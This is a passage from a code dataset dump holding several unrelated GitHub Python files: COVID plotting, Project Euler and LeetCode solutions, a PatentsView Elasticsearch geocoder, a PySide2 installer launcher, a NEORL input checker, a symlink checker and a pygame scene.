newCases.append(val[i] - val[i-1])\n\n if v >= align_value:\n valAlign.append(v)\n if len(valAlign) > 1:\n newCasesAlign.append(v - valAlign[-2])\n\n if len(valAlign) > maxLenValArrAlign:\n maxLenValArrAlign = len(valAlign)\n\n labelAnnotation = ['']*len(valAlign)\n labelAnnotationAll = ['']*len(val)\n\n if len(valAlign) > 0:\n labelAnnotation[-1] = label\n\n labelAnnotationAll[-1] = label\n\n valArrAlign.append(valAlign)\n labelAnnotationArr.append(labelAnnotation)\n labelAnnotationAllArr.append(labelAnnotationAll)\n newCasesArr.append(newCases)\n newCasesAlignArr.append(newCasesAlign)\n\n doubleEvery1 = []\n doubleEvery2 = []\n doubleEvery3 = []\n doubleEvery5 = []\n doubleEvery10 = []\n # z = 10.^(x*log10(2)/3 + 1)\n for i in range(maxLenValArrAlign*2):\n doubleEvery1.append(align_value**(i * np.log10(2) / 1 + 1))\n doubleEvery2.append(align_value**(i * np.log10(2) / 2 + 1))\n doubleEvery3.append(align_value**(i * np.log10(2) / 3 + 1))\n doubleEvery5.append(align_value**(i * np.log10(2) / 5 + 1))\n doubleEvery10.append(align_value**(i * np.log10(2) / 10 + 1))\n\n\n doubleEveryN = [doubleEvery1, doubleEvery2, doubleEvery3, doubleEvery5, doubleEvery10]\n doubleEveryNLabel = ['Удвоение случаев каждый день',\n 'Удвоение случаев каждые 2 дня',\n 'Удвоение случаев каждые 3 дня',\n 'Удвоение случаев каждые 5 дней',\n 'Удвоение случаев каждые 10 дней',\n ]\n\n # labelArr = clearLabels(labelArr)\n\n dateArr = np.array(dateArr)\n valArr = np.array(valArr)\n valArrAlign = np.array(valArrAlign)\n labelArr = np.array(labelArr)\n newCasesArr = np.array(newCasesArr)\n newCasesAlignArr = np.array(newCasesAlignArr)\n\n output = Munch()\n output.date = dateArr\n output.value = valArr\n output.value_align = valArrAlign\n output.annotation = labelAnnotationArr\n output.annotation_all = labelAnnotationAllArr\n output.label = labelArr\n output.double_plot = Munch()\n output.double_plot.value = doubleEveryN\n output.double_plot.label = doubleEveryNLabel\n output.max_len = maxLenValArrAlign\n output.new_cases = newCasesArr\n output.new_cases_align = newCasesAlignArr\n\n\n # output1 = dict(\n # date=dateArr,\n # value=valArr,\n # value_align=valArrAlign,\n # labels=labelArr,\n # annotations=labelAnnotationArr,\n # double_every=dict(\n # data=doubleEveryN,\n # label=doubleEveryNLabel,\n # ),\n # )\n\n return output\n\n\nif __name__ == '__main__':\n data = get_data()","repo_name":"spbroma/covid_ru_plot","sub_path":"get_data.py","file_name":"get_data.py","file_ext":"py","file_size_in_byte":4940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"487009980","text":"\"\"\"\r\n Число 5 можно записать в виде суммы ровно шестью различными способами:\r\n\r\n 4 + 1\r\n 3 + 2\r\n 3 + 1 + 1\r\n 2 + 2 + 1\r\n 2 + 1 + 1 + 1\r\n 1 + 1 + 1 + 1 + 1\r\n\r\n Сколькими различными способами можно записать число 100\r\nв виде суммы по крайней мере двух натуральных чисел?\r\n\"\"\"\r\n\r\n\r\ndef compute():\r\n LIMIT = 100\r\n partitions = []\r\n for i in range(LIMIT + 1):\r\n partitions.append([None] * (LIMIT + 1))\r\n for j in reversed(range(LIMIT + 1)):\r\n if j == i:\r\n val = 1\r\n elif j > i:\r\n val = 0\r\n elif j == 0:\r\n val = partitions[i][j + 1]\r\n else:\r\n val = partitions[i][j + 1] + partitions[i - j][j]\r\n \r\n partitions[i][j] = val\r\n\r\n if partitions[LIMIT][1] is not None:\r\n ans = partitions[LIMIT][1] - 1\r\n else:\r\n ans = partitions[LIMIT][0] - 1\r\n \r\n return str(ans)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n print(compute())\r\n","repo_name":"Tyferse/Python3_public","sub_path":"ProjecEuler2021/Tasks 71-80/Task76.py","file_name":"Task76.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"9010966452","text":"import os\nimport pandas as pd\nimport csv\nfrom math import ceil\nfrom elasticsearch import Elasticsearch\nfrom sqlalchemy import create_engine\nfrom tqdm import tqdm\n\nproject_home = os.environ['PACKAGE_HOME']\n\nwith open(f'{project_home}/resources/location_references/state_abr_to_name.csv', mode='r', encoding='utf-8-sig') as f:\n r = csv.DictReader(f)\n st_ab_to_nm = next(r) \niso_csv = pd.read_csv(f'{project_home}/resources/location_references/iso-country-codes.csv',keep_default_na=False)\n# co_ab_to_nm = {row['Alpha-2 code']: row['English short name lower case'] for i,row in iso_csv.iterrows()} #ISO-2 codes and names - replaced by OSM equivalents\niso3_to_iso2 = {row['Alpha-3 code']: row['Alpha-2 code'] for i,row in iso_csv.iterrows()}\nosm_codes_names = {row['ISO-2']: row['name'] for i,row in pd.read_csv(f'{project_home}/resources/location_references/OSM-country-codes.csv',keep_default_na=False).iterrows()}\n\n\ndef generate_es_query(row):\n musts = []\n shoulds = []\n search_string = None\n \n if row['country'] is not None and len(row['country'].strip()) > 0 and row['country'].strip().lower() not in ('unknown','omitted'):\n if len(row['country'].strip()) > 2:\n try:\n row['country'] = iso3_to_iso2[row['country']]\n except:\n row['country'] = row['country'][:2] # many length 3 codes in historical data are the ISO-2 code plus 'X' rather than the ISO-3 code\n if row['country'] == 'HK':\n musts.append({'match': {'country_code': {'query': 'CN'}}})\n musts.append({'match': {'state': {'query': 'Hong Kong'}}})\n search_string = 'Hong Kong'\n elif row['country'] in osm_codes_names:\n musts.append({'match': {'country_code': {'query': row['country']}}})\n search_string = osm_codes_names[row['country']]\n\n if row['state'] is not None and len(row['state'].strip()) > 0: \n if row['country'] is None and row['state'].strip().upper() in st_ab_to_nm: #in US or Canada but country omitted\n if row['state'].strip().upper() in ['ON', 'QC','NS','NB','MB','BC','PE','SK','AB','NL']: #Canada\n row['country'] = 'CA'\n musts.append({'match': {'country_code': {'query': 'CA'}}})\n else: # US\n row['country'] = 'US'\n musts.append({'match': {'country_code': {'query': 'US'}}})\n try:\n if row['country'].strip().upper() in ['US','CA']:\n musts.append({'match': {'state': {'query': st_ab_to_nm[row['state']]}}})\n search_string = st_ab_to_nm[row['state']]\n except KeyError: # if state is invalid\n pass\n except AttributeError: # if country is None and no US/Canadian state\n pass\n\n if row['city'] is not None and len(row['city'].strip()) > 0:\n search_string = row['city']\n \n if search_string is not None:\n shoulds.append({\"match\": {\"name\": {\"query\": search_string}}})\n musts.append({\"match\": {\"name\": {\"query\": search_string, \"fuzziness\":\"AUTO\"}}})\n\n if len(shoulds) + len(musts) == 0 :\n return None\n esqry = {\"query\": {\"bool\": {}}}\n if len(musts) > 0:\n esqry['query']['bool']['must'] = musts\n if len(shoulds) > 0:\n esqry['query']['bool']['should'] = shoulds\n \n esqry['sort'] = [\"_score\", {\"importance\":\"desc\"}]\n\n return esqry\n\ndef match_locations(locations_to_search, es_con, chunksize = 100):\n unique_locations = locations_to_search[['city','state','country']].drop_duplicates(ignore_index=True)\n unique_locations['query'] = unique_locations.apply(generate_es_query, axis=1)\n unique_locations.dropna(subset=['query'], inplace=True) # don't bother searching null queries\n unique_locations.reset_index(drop=True, inplace=True)\n\n print(f'matching {unique_locations.shape[0]} unique locations...')\n\n # search locations individually (slow)\n if chunksize in [0,1,None]:\n tophits = []\n for qry in unique_locations['query']:\n res = es_con.search(index='locations', body=qry)\n if res['hits']['total']['value'] > 0:\n tophits.append({'matched_name': res['hits']['hits'][0]['_source']['name'], \n # 'OSM_ID': res['hits']['hits'][0]['_id'], \n # 'ES_score': res['hits']['hits'][0]['_score'],\n 'latitude': res['hits']['hits'][0]['_source']['lat'], \n 'longitude': res['hits']['hits'][0]['_source']['lon']\n })\n else:\n tophits.append({'matched_name': None, 'lat': None, 'long': None, 'OSM_ID': None, 'ES_score': None})\n\n hitframe = pd.DataFrame.from_records(tophits)\n \n # search all records at once (fast but potentially high memory or timeout for large sets): \n elif chunksize == -1:\n search_bodies = []\n for qry in unique_locations['query']:\n search_bodies.append({\"index\": \"locations\"})\n search_bodies.append(qry)\n\n results = es_con.msearch(body=search_bodies)['responses']\n\n hitframe = pd.DataFrame.from_records([{'matched_name': res['hits']['hits'][0]['_source']['name'], \n # 'OSM_ID': res['hits']['hits'][0]['_id'], \n # 'ES_score': res['hits']['hits'][0]['_score'],\n 'latitude': res['hits']['hits'][0]['_source']['lat'], \n 'longitude': res['hits']['hits'][0]['_source']['lon']\n } \n if res['hits']['total']['value'] > 0 else \n {'matched_name': None, \n # 'OSM_ID': None, \n # 'ES_score': None,\n 'latitude': None, \n 'longitude': None\n } for res in results])\n # nontrivial chunksize\n else:\n print(f\"peforming chunked matching with chunksize {chunksize}\")\n divs = [chunksize * n for n in range(ceil(unique_locations.shape[0]/chunksize))]\n divs.append(unique_locations.shape[0])\n hitframe = pd.DataFrame()\n for i in tqdm(range(len(divs)-1)):\n # for i in range(len(divs)-1):\n # print(f\"matching chunk {i+1} of {len(divs)-1}\")\n chunk = unique_locations[divs[i]:divs[i+1]]\n search_bodies = []\n for qry in chunk['query']:\n search_bodies.append({\"index\": \"locations\"})\n search_bodies.append(qry)\n\n results = es_con.msearch(body=search_bodies)['responses']\n\n hit_temp = pd.DataFrame.from_records([{'matched_name': res['hits']['hits'][0]['_source']['name'], \n # 'OSM_ID': res['hits']['hits'][0]['_id'], \n # 'ES_score': res['hits']['hits'][0]['_score'],\n 'latitude': res['hits']['hits'][0]['_source']['lat'], \n 'longitude': res['hits']['hits'][0]['_source']['lon']\n } \n if res['hits']['total']['value'] > 0 else \n {'matched_name': None, \n # 'OSM_ID': None, \n # 'ES_score': None,\n 'latitude': None, \n 'longitude': None\n } for res in results])\n \n hitframe = pd.concat((hitframe,hit_temp), axis = 0, ignore_index=True)\n\n assert unique_locations.shape[0] == hitframe.shape[0], f\"\"\"number of results mismatch: \n {unique_locations.shape[0]} unique raw records, \n {hitframe.shape[0]} results returned\"\"\"\n\n # hitframe['location_id_transformed'] = [f\"{row['latitude']}|{row['longitude']}\" if row['latitude'] is not None else None for i,row in hitframe.iterrows()]\n\n hitframe = pd.concat((unique_locations, hitframe),axis=1)\n\n # merge deduplicated ES results with parse results (many to one)\n return(locations_to_search.merge(hitframe, on=['city','state','country'], how='left'))\n\n\ndef create_location_match_table(config):\n database = config['PATENTSVIEW_DATABASES']['TEMP_UPLOAD_DB']\n\n host = '{}'.format(config['DATABASE_SETUP']['HOST'])\n user = '{}'.format(config['DATABASE_SETUP']['USERNAME'])\n password = '{}'.format(config['DATABASE_SETUP']['PASSWORD'])\n port = '{}'.format(config['DATABASE_SETUP']['PORT'])\n engine = create_engine('mysql+pymysql://{0}:{1}@{2}:{3}/{4}?charset=utf8mb4'.format(user, password, host, port, database))\n\n print('retrieving locations to match...')\n locations_to_search = pd.read_sql(f\"SELECT id, city, state, country FROM rawlocation\", con=engine)\n\n es_hostname = config['ELASTICSEARCH']['HOST']\n es_username = config['ELASTICSEARCH']['USER']\n es_password = config['ELASTICSEARCH']['PASSWORD']\n es_con = Elasticsearch(hosts=es_hostname, http_auth=(es_username, es_password), timeout=45)\n\n matched_data = match_locations(locations_to_search, es_con)\n\n # recreate engine because match_locations() can take long enough for the mysql connection to reset.\n engine = create_engine('mysql+pymysql://{0}:{1}@{2}:{3}/{4}?charset=utf8mb4'.format(user, password, host, port, database)) \n\n print('creating table for matched locations...')\n create_sql = \"\"\"\n CREATE TABLE IF NOT EXISTS `matched_rawlocation` (\n `id` varchar(128) COLLATE utf8mb4_unicode_ci NOT NULL,\n `matched_name` varchar(128) COLLATE utf8mb4_unicode_ci,\n `latitude` float DEFAULT NULL,\n `longitude` float DEFAULT NULL\n) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;\n \"\"\"\n print(create_sql)\n engine.execute(create_sql)\n print('populating match table...')\n matched_data[['id','matched_name','latitude','longitude']].to_sql(name='matched_rawlocation' ,schema=database ,con=engine, if_exists='append', index=False)\n\n print('propagating match results to rawlocation...')\n update_sql = \"\"\"\n UPDATE `rawlocation` r \n LEFT JOIN `matched_rawlocation` mr ON (r.id = mr.id)\n SET r.latitude = mr.latitude,\n r.longitude = mr.longitude\n WHERE mr.latitude IS NOT NULL\n \"\"\"\n print(update_sql)\n engine.execute(update_sql)\n\ndef geocode_by_osm(**kwargs):\n from lib.configuration import get_current_config\n config = get_current_config('granted_patent', **kwargs)\n create_location_match_table(config)\n\nif __name__ == '__main__':\n from lib.configuration import get_current_config, get_today_dict\n config = get_current_config(type='config.ini', supplemental_configs=None, **get_today_dict())\n create_location_match_table(config)\n","repo_name":"PatentsView/PatentsView-DB","sub_path":"updater/disambiguation/location_disambiguation/osm_location_match.py","file_name":"osm_location_match.py","file_ext":"py","file_size_in_byte":11276,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"67"} +{"seq_id":"10721109743","text":"class Solution:\n def containsDuplicate(self, nums: List[int]) -> bool:\n numsDict = dict()\n for num in nums:\n if num in numsDict: return True\n numsDict[num] = 1\n return False\n \n #Other approaches:\n #1. Sort nums -> no extra space but O(n lg n)\n #2. Use set instead of dictionary: same space and memory\n ","repo_name":"gkamboj/LeetCode","sub_path":"0217-contains-duplicate/217-contains-duplicate.py","file_name":"217-contains-duplicate.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37739203431","text":"# coding: utf-8\n\nimport subprocess\nimport os\nimport pathlib\n\nfrom sys import exit, argv\nfrom PySide2 import QtWidgets, QtCore, QtGui\n\nfrom wrapped_qt import QIconLabel\nfrom config import Config\n\nimport argparse\nimport json\n\nglobal parsed_args\nparsed_args = argparse.Namespace()\n\n\nclass Window(QtWidgets.QWidget):\n def __init__(self):\n super().__init__()\n self.setWindowTitle(\"すべすべオイル\")\n\n icon_path = Config.get(\"icon\")[\"path\"]\n self.setWindowIcon(QtGui.QIcon(QtGui.QPixmap(icon_path)))\n\n hbox = QtWidgets.QHBoxLayout()\n qtab = QtWidgets.QTabWidget()\n\n for tab in Config.get(\"tabs\", []):\n title = tab.get(\"title\")\n wid = Contents_Grid_Widget(tab.get(\"contents\"))\n qtab.addTab(wid, title)\n\n qtab.addTab(QtWidgets.QWidget(), \"Log\")\n\n hbox.addWidget(qtab)\n self.setLayout(hbox)\n\n\nclass Content_Widget(QtWidgets.QWidget):\n def __init__(\n self,\n title=\"\",\n description=\"\",\n icon=\"./resources/placeholder.png\",\n installer=\"\",\n validator=\"\",\n ):\n super().__init__()\n\n self.installer = os.path.abspath(installer) if installer else \"\"\n self.validator = os.path.abspath(validator) if validator else \"\"\n\n self.setFixedHeight(128 + 36)\n title_widget = QtWidgets.QLabel(\"\")\n title_widget.setText(title)\n title_widget.setSizePolicy(\n QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed\n )\n\n description_widget = Description_Widget(description)\n\n icon_widget = QIconLabel(icon, (128, 128))\n self.button_widget = Install_Button_Widget(self.installer, self.validator)\n\n sub_layout = QtWidgets.QVBoxLayout()\n sub_layout.addWidget(description_widget)\n sub_layout.addWidget(self.button_widget)\n sub_layout.setAlignment(self.button_widget, QtCore.Qt.AlignRight)\n\n main_layout = QtWidgets.QHBoxLayout()\n main_layout.addWidget(icon_widget)\n main_layout.addLayout(sub_layout)\n\n top = QtWidgets.QVBoxLayout()\n top.addWidget(title_widget)\n top.addLayout(main_layout)\n\n self.setLayout(top)\n self.validate()\n\n def validate(self):\n self.button_widget.validate()\n\n def paintEvent(self, event):\n opt = QtWidgets.QStyleOption()\n opt.init(self)\n style = self.style()\n style.drawPrimitive(QtWidgets.QStyle.PE_Widget, opt, QtGui.QPainter(self), self)\n\n\nclass Contents_Grid_Widget(QtWidgets.QWidget):\n def __init__(self, contents=[]):\n super().__init__()\n\n grid = QtWidgets.QGridLayout()\n for i, content in enumerate(contents):\n grid.addWidget(Content_Widget(**content), i // 2, i % 2)\n else:\n if i == 0:\n grid.addWidget(Content_Widget(**{\"icon\": \"\"}), 0, 1)\n\n grid.setAlignment(QtCore.Qt.AlignTop)\n self.setLayout(grid)\n\n\nclass Install_Button_Widget(QtWidgets.QPushButton):\n def __init__(self, installer=\"\", validator=\"\"):\n super().__init__()\n self.installer = installer\n self.validator = validator\n\n self.setText(\"セットアップ 開始\")\n self.setFixedWidth(160)\n self.clicked.connect(self.install)\n\n def install(self):\n self.setEnabled(False)\n try:\n result = subprocess.check_output([self.installer])\n self.succuess(\"セットアップ 完了\")\n except subprocess.CalledProcessError:\n self.error(\"セットアップ 失敗\")\n\n def error(self, message=\"\"):\n if message:\n self.setText(message)\n self.setStyleSheet(\"background:#900;color:white;\")\n self.parentWidget().setEnabled(False)\n\n def succuess(self, message=\"\"):\n if message:\n self.setText(message)\n self.setStyleSheet(\"background:#030;\")\n self.parentWidget().setEnabled(False)\n\n def invalid(self, message=\"\"):\n if message:\n self.setText(message)\n self.parentWidget().setEnabled(False)\n\n def validate(self):\n if self.installer == \"\":\n self.invalid(\"未設定\")\n elif not pathlib.Path(self.installer).exists():\n self.error(\"インストーラーが見つかりません\")\n\n if self.validator:\n if not pathlib.Path(self.validator).exists():\n self.error(\"validatorが見つかりません\")\n return\n\n try:\n subprocess.check_output([self.validator])\n self.succuess(\"セットアップ 済み\")\n except:\n pass\n\n\nclass Description_Widget(QtWidgets.QTextEdit):\n def __init__(self, text):\n super().__init__()\n\n self.setText(text)\n self.setMaximumHeight(128)\n self.setReadOnly(True)\n\n\ndef generate_parser():\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\n \"-c\", \"--config\", help=\"config.jsonのパス\", default=\"./resouces/config.json\"\n )\n parser.add_argument(\n \"-l\", \"--log\", help=\"ログをファイルとして出力する。出力するファイルのパス\", default=\"./superslick.log\"\n )\n\n return parser\n\n\ndef main():\n generate_parser().parse_args()\n app = QtWidgets.QApplication(argv)\n\n window = Window()\n with open(\"./resources/style.css\") as f:\n window.setStyleSheet(f.read())\n window.show()\n\n exec_result = app.exec_()\n\n exit(exec_result)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"akashiro000/Superslick","sub_path":"superslick.py","file_name":"superslick.py","file_ext":"py","file_size_in_byte":5529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22257653562","text":"import statistics\nfrom statistics import mode\n\nclass SimplePredict:\n def makeList(self):\n global list\n list = [1,2,6,6]\n\n def nexteventchance(self):\n modeNumber = mode(list)\n percentageOccurring = list.count(modeNumber)/len(list) * 100\n\n return percentageOccurring\n\n\nobject = SimplePredict()\ntemp = object.makeList()\nprint(\"The chance of a \" + str(mode(list)) + \" to occur is: \" + str(object.nexteventchance()) + \"%\")\n","repo_name":"daanjvdeijk/DBL_ProcessMining","sub_path":"testPrograms/nexteventchance.py","file_name":"nexteventchance.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16671723155","text":"# 1780\ndef verify(matrix):\n std = matrix[0][0]\n for i in matrix:\n for j in i:\n if std != j:\n return False\n return True\n\ndef answer(matrix):\n global color\n\n v = verify(matrix)\n if v:\n color[matrix[0][0]] += 1\n return\n\n divide = len(matrix) // 3\n for i in range(0, len(matrix), divide):\n for j in range(0, len(matrix), divide):\n answer([k[j : j + divide] for k in matrix[i : i + divide]])\n\nn = int(input())\nmatrix = [list(map(int, input().split())) for i in range(n)]\ncolor = [0, 0, 0]\nanswer(matrix)\nprint(color[-1], color[0], color[1], sep='\\n')\n\n\ndef answer(L, result):\n if len(L) == 1 or is_only(L):\n result[L[0][0]] += 1\n return\n\n rg = len(L) // 3\n\n nine_matrix = []\n\n for i in range(0, len(L), rg):\n for j in range(0, len(L), rg):\n temp = []\n rows = L[i:i + rg]\n for row in rows:\n temp.append(row[j:j + rg])\n nine_matrix.append(temp)\n\n for matrix in nine_matrix:\n answer(matrix, result)\n\nfrom typing import List\ndef is_only(L: List) -> bool:\n num = L[0][0]\n for i in range(len(L)):\n for j in range(len(L[i])):\n if L[i][j] != num:\n return False\n return True\n\n\nimport sys\ninput = sys.stdin.readline\nn = int(input())\nG = []\nfor _ in range(n):\n G.append(list(map(int, input().split())))\nresult = [0, 0, 0] # 0 1 -1\nanswer(G, result)\nprint(result[-1], result[0], result[1], sep='\\n')","repo_name":"kjh03160/Algorithm_Basic","sub_path":"practice/Divide_Conquer/Paper2_1780.py","file_name":"Paper2_1780.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"1113336200","text":"# This file is part of NEORL.\r\n\r\n# Copyright (c) 2021 Exelon Corporation and MIT Nuclear Science and Engineering\r\n# NEORL is free software: you can redistribute it and/or modify\r\n# it under the terms of the MIT LICENSE\r\n\r\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\r\n# SOFTWARE.\r\n\r\n\"\"\"\r\nThis class parses the TUNE block and returns a checked dictionary containing all TUNE user\r\nparameters\r\n\"\"\" \r\nimport numpy as np\r\nimport os\r\n\r\nclass TuneChecker():\r\n \r\n \"\"\"\r\n This class checks the input for any errors/typos and then overwrites the default inputs by user ones\r\n Inputs:\r\n master_parser: are the parsed paramters from class InputParser\r\n master_paramdict: are the default values given from the class ParamList.py\r\n \"\"\" \r\n def __init__(self, parsed, default):\r\n self.default=default\r\n self.parsed=parsed\r\n self.tune_dict={}\r\n for key in self.default:\r\n self.tune_dict[key] = self.default[key][0]\r\n \r\n self.tune_dict=self.check_input(self.parsed, self.default, 'TUNE')\r\n \r\n def check_input (self, parser, paramdict, card):\r\n \"\"\"\r\n This function loops through any data list and check if data structure and types are correct\r\n Inputs: \r\n parser: is a parsed dict from the user for any block \r\n paramdict: is a default dict by neorl for any block\r\n card: is the block/card name\r\n \r\n Returns: this function does not return, but overwrites the default values in self.gen_dict, self.dqn_dict, ...\r\n \"\"\" \r\n for item in parser:\r\n \r\n if '{' in item or '}' in item:\r\n continue \r\n \r\n if item not in paramdict:\r\n print('--error: {} is NOT found in neorl input variable names'.format(item))\r\n raise(ValueError)\r\n \r\n try: \r\n if paramdict[item][2] == \"str\":\r\n parser[item] = str(parser[item]).strip()\r\n elif paramdict[item][2] == \"int\":\r\n parser[item] = int(float(parser[item]))\r\n elif paramdict[item][2] == \"float\":\r\n parser[item] = float(parser[item])\r\n elif paramdict[item][2] == \"bool\":\r\n parser[item] = bool(parser[item])\r\n elif paramdict[item][2] == \"strvec\":\r\n parser[item] = [str(element.strip()) for element in parser[item].split(\",\")]\r\n elif paramdict[item][2] == \"vec\":\r\n parser[item] = np.array([float(element.strip()) for element in parser[item].split(\",\")])\r\n except:\r\n print('--error: the data structure for parameter {} in card {} must be {}, but something else is used'.format(item, card, paramdict[item][2]))\r\n raise(ValueError)\r\n \r\n for item in paramdict:\r\n if paramdict[item][1] == \"r\" and item not in parser.keys():\r\n raise Exception ('--error: parameter {} in card {} is required for neorl but it is not given in the input'.format(item, card))\r\n \r\n if paramdict[item][1] == \"o\" and item not in parser.keys():\r\n if item not in ['flag']:\r\n print ('--warning: parameter {} in card {} is missed, Default is used ---> {}'.format(item,card, paramdict[item][0]))\r\n \r\n for item in parser: #final checked dictionary \r\n self.tune_dict[item] = parser[item]\r\n \r\n if 'extfiles' in parser.keys():\r\n for item in self.tune_dict['extfiles']:\r\n if not os.path.exists(item):\r\n raise Exception('--error: User provided {} as external file/directory to be copied by TUNE, such file does not exist in the working directory'.format(item))\r\n \r\n self.tune_dict={k: v for k, v in self.tune_dict.items() if v is not None}\r\n\r\n self.tune_dict['flag'] = True\r\n \r\n return self.tune_dict\r\n\r\n \r\n \r\n ","repo_name":"mradaideh/neorl","sub_path":"neorl/parsers/TuneChecker.py","file_name":"TuneChecker.py","file_ext":"py","file_size_in_byte":4549,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"67"} +{"seq_id":"23818240781","text":"# Lake Counting\n# 蟻本p35\n\nh,w = (int(i) for i in input().split())\nC = [list(input()) for i in range(h)]\nMAP = [[0]*w for i in range(h)]\n\ndef dfs(x, y):\n MAP[x][y] = 1\n C[x][y] = '.'\n for (i,j) in [(1,0), (1,1), (1,-1), (0,1), (0,-1), (-1,1), (-1,0), (-1,-1)]:\n nextx = x + i\n nexty = y + j\n if 0 <= nextx <= h-1:\n if 0 <= nexty <= w-1:\n if C[nextx][nexty] == 'W':\n if MAP[nextx][nexty] == 0:\n dfs(nextx, nexty)\nans = 0 \nfor i in range(h):\n for j in range(w):\n if C[i][j] == 'W':\n dfs(i,j)\n ans += 1\n \nprint(ans) \n \n","repo_name":"tamama9018/atcoder","sub_path":"DFS/grid/DFS_lake_count.py","file_name":"DFS_lake_count.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10144742129","text":"from os import getcwd, path, readlink, stat\n\nfrom .maindata import MainData\nfrom .utils import get_all_files\n\n\nclass BadLinks:\n \"\"\"\n Find links to non-existent files/directories\n \"\"\"\n def __init__(self, pathdir: str):\n self.meta = MainData()\n self.pathdir = pathdir\n if not self.pathdir.endswith('/'):\n self.pathdir += '/'\n if self.pathdir.startswith('./'):\n self.pathdir = self.pathdir[2:]\n if not self.pathdir.startswith('/'):\n self.pathdir = '{0}/{1}'.format(getcwd(), self.pathdir)\n\n def start(self) -> None:\n \"\"\"\n start find bad links\n \"\"\"\n if not path.isdir(self.pathdir):\n print(('Directory {0}{1}{2} does '\n 'not exist.').format(self.meta.clrs['lcyan'],\n self.pathdir,\n self.meta.clrs['reset']))\n raise SystemExit\n\n try:\n from tqdm import tqdm\n except ImportError:\n def tqdm(*args, **kwargs):\n if args:\n return args[0]\n return kwargs.get('iterable', None)\n\n bad_links = []\n for lnk in tqdm(get_all_files(self.pathdir), leave=False,\n ncols=80, unit=''):\n if path.islink(lnk):\n try:\n stat(lnk)\n except FileNotFoundError:\n bad_links.append((lnk, readlink(lnk)))\n\n self.print_rezult(bad_links)\n\n def print_rezult(self, bad_links: list) -> None:\n \"\"\"\n print rezult\n \"\"\"\n err_count = len(bad_links)\n if err_count:\n print(('{0}Incorrect references in {1}: '\n '{2}{3}{4}').format(self.meta.clrs['yellow'],\n self.pathdir,\n self.meta.clrs['lred'],\n err_count,\n self.meta.clrs['reset']))\n\n for bad_link in bad_links:\n print(('{0}{1}{4} -> '\n '{3}{2}{4}').format(self.meta.clrs['lcyan'],\n bad_link[0],\n bad_link[1],\n self.meta.clrs['red'],\n self.meta.clrs['reset']))\n else:\n print(('{0}Congratulations !!!\\nNot found invalid '\n 'links in {1}{2}').format(self.meta.clrs['green'],\n self.pathdir,\n self.meta.clrs['reset']))\n","repo_name":"MyRequiem/spman","sub_path":"src/badlinks.py","file_name":"badlinks.py","file_ext":"py","file_size_in_byte":2713,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"67"} +{"seq_id":"16322768362","text":"from t2scene import Scene\r\nimport pygame\r\nimport sys\r\nfrom t2tools import Console\r\nfrom t2score import Score\r\nfrom t2outImage import OutImage\r\nfrom t2grid import Grid\r\nfrom t2imageObject import imageObject\r\nfrom t2voiceObject import VoiceObject\r\nfrom t2timer import Timer\r\n\r\n\r\nclass GameScene(Scene):\r\n \"\"\"docstring for GameScene\"\"\"\r\n\r\n def __init__(self, name, env):\r\n super(GameScene, self).__init__(name, env)\r\n self.mytime = None\r\n self.myscore = None\r\n\r\n self.oi = OutImage(self.env)\r\n self.bg = None\r\n\r\n def start(self):\r\n # 场景在第一次加载时载入内容\r\n if self.flag == False:\r\n # 这里是初始化内容\r\n self.env['score'] = 1000\r\n self.mytime = Timer(427, self.env)\r\n self.myscore = Score(self.env)\r\n self.flag = True\r\n self.oi = OutImage(self.env)\r\n self.bg = imageObject(src='./img/zhuanqiang.jpg')\r\n # 放音乐\r\n pygame.mixer.music.load('./voice/game.mp3')\r\n pygame.mixer.music.play(0, 0.0)\r\n\r\n Console.log(\"成功载入\" + self.name + \"场景数据包\")\r\n\r\n # 屏幕指针\r\n def update(self, screen):\r\n # 每帧要执行内容\r\n # 本场景的编号为2\r\n if self.env['scene'] == 2:\r\n self.start()\r\n # 绘制背景\r\n self.bg.draw(screen)\r\n # 从这里开始写渲染代码\r\n # color=(0,0,0)\r\n # screen.fill(color)\r\n self.oi.randomDraw(self.env['deltaTime'], 2000, screen)\r\n # 画背景\r\n\r\n # 时间与分数图层是画在最顶层的\r\n timeImage = self.mytime.getTimeRender()\r\n timeImage.draw(screen)\r\n scoreImage = self.myscore.getScoreRender()\r\n scoreImage.draw(screen)\r\n if self.env['score'] < 0:\r\n self.env['scene'] = 3\r\n\r\n else:\r\n self.flag = False\r\n\r\n # 事件,处理来自\r\n def event(self, events):\r\n # 要处理的事件\r\n if self.env['scene'] == 2:\r\n if events.type == pygame.KEYDOWN:\r\n 